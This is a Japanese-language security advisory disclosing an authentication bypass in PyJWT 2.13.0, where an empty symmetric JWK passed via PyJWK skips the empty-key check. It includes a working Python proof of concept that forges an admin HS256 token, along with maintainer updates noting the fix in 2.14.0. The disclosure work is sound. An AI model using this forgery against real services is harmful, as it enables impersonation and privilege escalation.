PyJWT: PyJWKは空のHMACキーを受け入れ、PyJWTの空キー検証を回避する

### 概要

PyJWKSetから取得したPyJWKを介して、HS256トークンを検証するサービスは、攻撃者が生成したトークンを認証されたものとして受け入れる可能性があります。

PyJWT 2.13.0では、rawな`str`/`bytes`形式でHMACキーが提供された場合、空のHMACキーは拒否されますが、同じゼロ長のキーが対称的な`PyJWK`として提供された場合は受け入れられます。

空のBase64URLキー値を含む`oct` JWKは以下のようになります。

```json
{"kty":"oct","k":""}
```

これは`b""`にデコードされます。署名検証時、`PyJWK`のパスはデコードされた値を直接使用し、`HMACAlgorithm.prepare_key`内の空キー検証を呼び出しません。デフォルトの`enforce_minimum_key_length=False`の場合、PyJWTは警告を発し、ゼロ長のキーを使用してHMAC検証を続行します。

攻撃者は、`HMAC-SHA256(b"", signing_input)`を独自に計算し、任意のクレームを含む有効なHS256 JWTを作成できます。したがって、`PyJWK`または`PyJWKSet`を介して空の`oct` JWKを使用してHS256トークンを検証するサービスは、攻撃者が生成したトークンを認証されたものとして受け入れる可能性があります。

アプリケーションには、Base64URLの設定またはシークレットマネージャーの値が欠落しているために、すでに空のHMAC JWKが含まれている場合があります(例:`"k": ""`としてシリアライズされている)。攻撃者は、JWK/JWKSのソース、署名オラクル、秘密鍵、または混合アルゴリズムの許可リストを制御する必要はありません。

### 詳細

この脆弱性は、同じHMACキーの素材が、PyJWTにrawキーとして入力されるか、`PyJWK`を介して入力されるかによって、検証が一貫していないことが原因です。

#### rawな空のHMACキーは拒否される

[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)は、空のHMACキーを拒否します。

その結果、PyJWT 2.13.0では、rawな空のキーは拒否されます。

```python
jwt.decode(token, b"", algorithms=["HS256"])
```

というコードが `InvalidKeyError` を引き起こす。

#### 空の `oct` 型 JWK は同じキーにデコードされるが、受け入れられる

[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) は、対称鍵の JWK を処理する。

例えば、以下の JSON:

```json
{
"kty": "oct",
"k": ""
}
```

の場合、空の Base64URL 値は以下のようにデコードされる:

```python
b""
```

そして、空であるかどうかのチェックなしで返される。

[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) は、デコードされた値を `self.key` に格納する。

したがって、結果として得られる `PyJWK` オブジェクトは、生の鍵を使用した場合に拒否される、同じゼロ長のバイト文字列を含む。

#### `PyJWK` の検証は、生の鍵の検証をバイパスする

[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) は、`PyJWK` オブジェクトに対して別の処理を行う。

`PyJWK` が渡された場合、検証はすでにデコードされた鍵を直接使用する:

```python
prepared_key = key.key
```

この値は、以下のような処理を経由しない:

```python
alg_obj.prepare_key(key.key)
```

そのため、`HMACAlgorithm.prepare_key` 内の空の鍵のチェックは実行されない。

最小の HMAC 鍵長のチェックは、デフォルトの設定では鍵を拒否しない。`enforce_minimum_key_length=False` の場合、PyJWT は警告を発し、署名の検証を続行する。

したがって、検証器は以下を受け取る:

```python
b""
```

を HS256 の鍵として。

これにより、同一の暗号鍵素材に対して、以下のような違いが生じる:

```text
生の b""
-> HMACAlgorithm.prepare_key
-> InvalidKeyError
```

{"kty":"oct","k":""}
-> HMACAlgorithm.from_jwk
-> b""
-> PyJWK.key
-> PyJWS._verify_signature
-> HMACによる検証(鍵はb"")
-> 検証成功

HMACの鍵が既知のゼロ長のバイト文字列であるため、攻撃者はアプリケーションの秘密を知らなくても、任意のJWTの署名対象データに対して正しいHS256署名を計算することができます。

これは、CVE-2026-48526で報告された、生のJWKを使用したHMACの混同問題とは異なります。その問題は、生の公開JWKデータと、非対称/HMACアルゴリズムの混在に関連しています。この問題は、`oct`という対称のJWKを使用し、HS256のみを使用し、`PyJWK`の検証パスを使用します。非対称鍵、アルゴリズムの許可リスト、または攻撃者が制御できる鍵の発見メカニズムは必要ありません。

この問題は、PyJWT 2.13.0および以下のコミットで再現されました。

```text
7144e4534c34810f4525dc4578a32addd8212cff
```

これは、テスト時点での公開`master`ブランチの最新バージョンでした。

### PoC(概念実証)

以下のPoCは、PyJWT 2.13.0でこの問題を再現します。

これは、空の対称HMAC鍵を含む静的なJWKセットを持つアプリケーションをモデル化したものです。攻撃者はJWKセットを制御していません。

PyJWT 2.13.0をインストールします。

```bash
python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"
```

以下の内容を`poc.py`という名前で保存します。

```python
import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes:
return base64.urlsafe_b64encode(value).rstrip(b"=")

now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
json.dumps(
{"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
separators=(",", ":"),
).encode()
)
signing_input = header + b"." + payload
forged = (
signing_input
+ b"."
+ b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()
```

```
jwk = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256",
"use": "sig",
}
]
}
)["active"]

with warnings.catch_warnings():
warnings.simplefilter("ignore")
claims = jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"require": ["exp"]},
)

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
print("CONTROL raw empty key: rejected")
else:
raise AssertionError("raw empty key was accepted")

try:
jwt.decode(
forged,
jwk,
algorithms=["HS256"],
options={"enforce_minimum_key_length": True},
)
except InvalidKeyError:
print("CONTROL strict PyJWK: rejected")
else:
raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
{
"keys": [
{
"kty": "oct",
"k": "cmVhbC1zZWNyZXQ",
"kid": "active",
"alg": "HS256",
}
]
}
)["active"]

try:
with warnings.catch_warnings():
warnings.simplefilter("ignore")
jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
print("CONTROL non-empty PyJWK: rejected")
else:
raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
```

実行:

```bash
python poc.py
```

出力結果:

```text
VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <現在時刻>, 'exp': <現在時刻+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected
```

最初の結果は、既知のゼロ長のHMACキーで署名されたJWTが、検証キーを`PyJWK`を通じて提供した場合に受け入れられることを示しています。

最初の検証では、`b""` と同じ空のキーを直接使用した場合、PyJWT 2.13.0 が `InvalidKeyError` を返します。

2番目の検証では、`enforce_minimum_key_length` を有効にすると、これも空の `PyJWK` を拒否します。

3番目の検証では、JWK のキー素材のみを空でない値に変更すると、同じ偽造トークンが `InvalidSignatureError` で失敗します。

以下の検証方法でも同様の結果が得られました。

```python
jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])
```

これらの検証では、いずれもゼロ長の HMAC キーを使用して署名された HS256 トークンを受け入れていました。

実行パスの検証として、`PyJWK` を構築した後、`HMACAlgorithm.prepare_key` を、すぐに例外を発生させる関数に置き換えました。`PyJWK` を使用した検証では、依然として偽造トークンが受け入れられていましたが、生のキーを使用したパスでは `prepare_key` に到達し、空のキーが拒否されました。

### 影響

これは、空の HMAC キーの検証の一貫性の欠如によって引き起こされる認証の回避です。

影響を受けるアプリケーションは、`PyJWK`、`PyJWKSet`、または `PyJWK` を生成する他の方法を使用して HS256 JWT を検証するサービスです。ここで、設定された `oct` JWK に空の HMAC キーが含まれており、最小キー長の強制が無効になっている場合です。

例えば、アプリケーションが以下のような JSON を生成する可能性があります。

```json
{
"kty": "oct",
"k": "",
"kid": "active",
"alg": "HS256"
}
```

これは、期待される Base64URL シークレットの値が欠落している場合に発生します。

この状態になると、認証されていないリモート攻撃者がオフラインで任意の HS256 JWT を生成できます。攻撃者は、有効な検証キーが `b""` であることを知っており、したがって、任意の署名入力に対して有効な HMAC を計算できます。

攻撃者は、任意のクレームを選択できます。例えば、以下のようなクレームを指定できます。

```json
{
"sub": "attacker",
"admin": true,
"exp": 1787100000
}
```

そして、PyJWT が有効と受け入れる署名を生成できます。

アプリケーションがJWTのクレームをどのように使用するかによって、脆弱性を悪用すると、認証の回避、ユーザーになりすまし、権限の昇格、または保護されたリソースへの不正アクセスにつながる可能性があります。

`exp`、`aud`、`iss`、または`sub`のようなクレームの検証は、攻撃者が有効な署名キーを知っている場合、脆弱性の悪用を防ぐものではありません。なぜなら、攻撃者はアプリケーションが期待する値を署名を計算する前に含めることができるからです。

攻撃者はこの問題を利用して空のJWKを作成することはできません。アプリケーションはすでに空の対称JWKを使用している必要があります。その条件が存在する場合、認証情報、ユーザーとのインタラクション、署名に関する情報、秘密鍵、攻撃者が制御するJWKSエンドポイント、または混合アルゴリズムの設定は必要ありません。

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

## メンテナからの更新 — 2026年9月9日

報告された不整合をPyJWT 2.13.0で再現しました。`PyJWK`を介して提供された空の`oct` JWKは、HS256の検証で`b""`として扱われましたが、同等の生の空のキーは`HMACAlgorithm.prepare_key()`によって拒否されました。この条件は、アプリケーションがすでに空の対称JWKをロードしていることを前提としていますが、混合アルゴリズムの許可リストや攻撃者が制御するJWKソースを必要としません。

これは、PyJWTのセキュリティポリシーの範囲内です。なぜなら、同じデコードされたHMACキーが、PyJWTの公開検証パスにおいて一貫性のない検証を受けるからです。

修正は`f91ed44dd65baaf457f4b3353ed35e98a753934c`としてコミットされました。PyJWKの検証は、デコードされたキーを、選択されたアルゴリズムの`prepare_key()`検証にルーティングしてから、最小キー長を確認するように変更されました。これにより、PyJWKと生のキーの動作が一致します。回帰テストにより、空のキーで署名された有効なHS256トークンが`PyJWK`によって拒否されることが確認されており、既存のJWSの動作は引き続きカバーされています。

完全なテストスイートは、392件のテストをパスし、意図的に暗号化環境に関連する4件のテストをスキップしました。JWSモジュールは、92件のテストをパスし、意図的に1件のテストをスキップしました。独立したAstra/maxのレビューでは、段階的なスナップショットが承認され、HMAC、RSA/PSS、EC、およびEdDSAの互換性、アルゴリズムのバインディング、警告の動作、最小長の強制、および無効化された検証が確認されました。

この修正はまだリリースされていません。この脆弱性に関する情報は、CVSSのメタデータが現在設定されていないため、依然として「高」として分類されており、修正されたバージョンは、リリース計画が確定するまで未定です。

## 分類更新 — 2026年9月10日

脆弱性に関する分類のレビューを完了しました。提案されたCVSS 3.1のベクトルは`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`であり、提案されたCWEの分類はCWE-347です。これらの分類は、文書化された影響を反映しており、影響範囲、修正状況、またはライフサイクル状態を変更するものではありません。

## メンテナの更新 — 2026年9月11日

この脆弱性に対する修正は、2026年9月11日にリリースされたPyJWT 2.14.0に含まれています。PyJWT 2.14.0は、この修正を含む最初のリリースです。この脆弱性に関する情報は、リリース情報を修正されたバージョンとして記録し、公開されています。

影響を受けるパッケージ:
- pip (Python) PyJWT: 影響を受けるバージョンは2.13.0以上、2.14.0未満、修正されたバージョンは2.14.0。